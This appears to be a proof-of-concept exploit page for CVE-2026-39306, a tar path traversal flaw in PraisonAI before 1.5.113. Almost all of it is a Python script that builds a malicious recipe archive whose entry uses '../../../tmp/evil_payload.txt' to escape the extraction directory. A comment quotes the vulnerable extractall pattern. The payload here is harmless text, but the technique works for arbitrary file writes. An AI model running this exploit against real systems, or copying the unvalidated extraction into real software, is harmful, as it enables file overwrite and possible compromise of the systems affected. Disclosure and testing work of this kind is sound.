CVE-2026-39306 PraisonAI 路径遍历漏洞

# Proof of Concept for CVE-2026-39306 # This script demonstrates how a malicious tar archive can be created # to exploit the path traversal vulnerability in PraisonAI < 1.5.113. import tarfile import os def create_malicious_tar(): # Create a file to be included in the archive payload_content = b"Malicious payload content" with open("evil.txt", "wb") as f: f.write(payload_content) # Create a tar archive with tarfile.open("malicious_recipe.praison", "w") as tar: # Add a file with a path traversal sequence (../) # This will attempt to write to the parent directory upon extraction tar.add("evil.txt", arcname="../../../tmp/evil_payload.txt") print("[+] Malicious tar archive created: malicious_recipe.praison") print("[+] Use this file in the recipe registry to test the vulnerability.") # Note: The vulnerable code in PraisonAI would look something like: # tar = tarfile.open(file_path) # tar.extractall(output_dir) # Vulnerable call without path validation # tar.close() if __name__ == "__main__": create_malicious_tar()